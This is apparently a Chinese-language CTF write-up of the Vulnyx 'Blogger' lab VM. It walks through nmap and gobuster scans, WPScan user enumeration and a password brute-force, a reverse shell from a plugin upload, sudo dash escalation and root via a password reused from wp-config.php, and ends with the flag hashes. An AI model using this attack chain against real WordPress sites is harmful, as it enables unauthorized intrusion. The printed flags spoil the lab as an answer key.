Vlx_Blogger

难度：Low

一、信息收集

1、主机探测

┌──(root㉿kali)-[~/miaosec]
└─# nmap -sn 192.168.2.0/24              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 10:22 +0800
Nmap scan report for 192.168.2.1
Host is up (0.0011s latency).
MAC Address: 0A:00:27:00:00:07 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.00079s latency).
MAC Address: 08:00:27:E1:A6:FA (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.84
Host is up (0.0014s latency).
MAC Address: 08:00:27:26:37:95 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.53 seconds

靶机IP：192.168.2.84

2、端口扫描

1.全端口扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.84                    
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 10:24 +0800
Nmap scan report for 192.168.2.84
Host is up (0.00019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:26:37:95 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds

开放端口：22、80

2.详细信息扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.84
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 10:24 +0800
Nmap scan report for 192.168.2.84
Host is up (0.0011s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
MAC Address: 08:00:27:26:37:95 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

3.udp扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.84                    
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 10:33 +0800
Nmap scan report for 192.168.2.84
Host is up (0.0010s latency).
All 100 scanned ports on 192.168.2.84 are in ignored states.
Not shown: 57 closed udp ports (port-unreach), 43 open|filtered udp ports (no-response)
MAC Address: 08:00:27:26:37:95 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 55.14 seconds

二、WEB渗透

1、80端口

访问80端口，是Apache的默认页面

2、目录扫描

┌──(root㉿kali)-[~/miaosec]
└─# gobuster dir -u http://192.168.2.84 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,bak
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.84
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,js,txt,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 10701]
wordpress            (Status: 301) [Size: 316] [--> http://192.168.2.84/wordpress/]
server-status        (Status: 403) [Size: 277]
Progress: 1323348 / 1323348 (100.00%)
===============================================================
Finished
===============================================================

找到一个wordpress

3、DNS发现

访问wordpress/，找到一个域名：megablog.nyx

三、Wordpress

访问域名后，是一个搜索页面

1、目录扫描

┌──(root㉿kali)-[~/miaosec]
└─# gobuster dir -u http://megablog.nyx/wordpress -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,bak 
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://megablog.nyx/wordpress
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              bak,php,html,js,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 301) [Size: 0] [--> http://megablog.nyx/wordpress/]
wp-content           (Status: 301) [Size: 327] [--> http://megablog.nyx/wordpress/wp-content/]
wp-login.php         (Status: 200) [Size: 6012]
license.txt          (Status: 200) [Size: 19915]
wp-includes          (Status: 301) [Size: 328] [--> http://megablog.nyx/wordpress/wp-includes/]
readme.html          (Status: 200) [Size: 7399]
wp-admin             (Status: 301) [Size: 325] [--> http://megablog.nyx/wordpress/wp-admin/]
xmlrpc.php           (Status: 405) [Size: 42]
wp-signup.php        (Status: 302) [Size: 0] [--> http://megablog.nyx/wordpress/wp-login.php?action=register]
Progress: 1323348 / 1323348 (100.00%)
===============================================================
Finished
===============================================================

找到登录页面wp-admin/，需要账号和密码

2、Wpscan

直接使用wpscan进行扫描

┌──(root㉿kali)-[~]
└─# wpscan --url http://megablog.nyx/wordpress --api-token xxxxx -e u,vp
[+] URL: http://megablog.nyx/wordpress/ [192.168.2.84]
[+] Started: Thu Mar 12 11:28:18 2026

....
[i] User(s) Identified:

[+] peter
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
 ....

找到一个用户peter

再次进行密码爆破

┌──(root㉿kali)-[~/Tool]
└─# wpscan --url http://megablog.nyx/wordpress --api-token xxxxx -U peter -P techyou.txt
...
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - peter / peterpan
...

使用账号和密码：peter:peterpan成功进入到后台

3、获取shell

直接安装插件获取shell

成功获取到shell

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.84] 55036
bash: cannot set terminal process group (449): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blogger:/var/www/html/wordpress/wp-admin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

四、权限提升

1、获取blog权限

查看sudo -l

www-data@blogger:/var/www/html/wordpress$ sudo -l
Matching Defaults entries for www-data on blogger:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on blogger:
    (blog) NOPASSWD: /usr/bin/dash

直接进行提权

1
2
3

www-data@blogger:/var/www/html/wordpress$ sudo -u blog /usr/bin/dash -p
id
uid=1000(blog) gid=1000(blog) groups=1000(blog)

2、获取root权限

查看wordpress下面的wp-config.php

/** Database username */
define( 'DB_USER', 'root' );

/** Database password */
define( 'DB_PASSWORD', 'm3g@Bl0g123' );

找到密码为：m3g@Bl0g123

尝试进行切换用户，成功获取到root权限

su root
Password: m3g@Bl0g123
id
uid=0(root) gid=0(root) grupos=0(root)

五、查看FLAG

1
2
3

cat /root/root.txt /home/blog/user.txt
1a1096b5c68cbefc74290f70d7ccb696
507ed5c488064e5ae9d2007dd2b50b53

Vulnyx

#Wordpress #Wpscan #Sudo_dash

Vlx_Blogger

http://miao-sec.github.io/Vulnyx/Vlx-Blogger/

作者

Miao

发布于

2026年3月12日

许可协议

BY-MIAO

Vlx_Lower 上一篇

Mazesec_Disk 下一篇